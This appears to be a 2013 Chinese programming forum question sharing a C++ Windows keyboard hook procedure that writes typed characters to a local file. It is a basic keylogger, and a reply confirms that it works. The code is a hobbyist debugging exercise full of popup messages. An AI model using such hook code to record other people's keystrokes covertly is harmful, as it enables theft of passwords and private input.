|
50鱼币
本帖最后由 gwcome 于 2013-4-15 20:56 编辑
自己写的,keyhook动态链接库 请各位大哥帮看看
我想记录键盘消息。。。过程函数不太清楚怎么写。。。还请大家帮助。。。下面是过程函数代码
- LRESULT CALLBACK KeyboardProc( int nCode,WPARAM wParam,LPARAM lParam )
- {
- PMSG pmsg=(PMSG)lParam;
- if (pmsg->message==WM_CHAR)//判断是否是WM_CHAR消息
- {
- std::fstream out;
- //MessageBox(0,TEXT("已接受WM_CHAR"),0,0);
- out.open("F:\\key.txt",std::ofstream::out|std::ofstream::app);//创建文件保存键盘信息
- if (out)
- {
- MessageBox(NULL,TEXT("文件打开成功"),0,MB_OK);
- switch (pmsg->wParam)
- {
- case VK_RETURN://如果是回车
- MessageBox(0,TEXT("VK_RETURN"),0,0);
- out<<'\n';
- break;
- case VK_BACK://如果是退格键
- MessageBox(0,TEXT("VK_BACK"),0,0);
- out<<'\b';
- break;
- case VK_TAB://如果是TAB键
- MessageBox(0,TEXT("VK_TAB"),0,0);
- out<<'\t';
- break;
- default://默认情况
- MessageBox(0,TEXT("CHAR"),0,0);
- out<<(char)(pmsg->wParam);
- }
- MessageBox(0,0,0,0);
- out.close();
- }
- else
- {
- MessageBox(NULL,TEXT("文件打开错误"),0,MB_OK);
- }
- }
-
- return CallNextHookEx(hhook,nCode,wParam,lParam);
- }
复制代码
|
最佳答案
查看完整内容
代码正确的啊,可以运行,我在vs2010 上用win32程序测试了。可以记录
|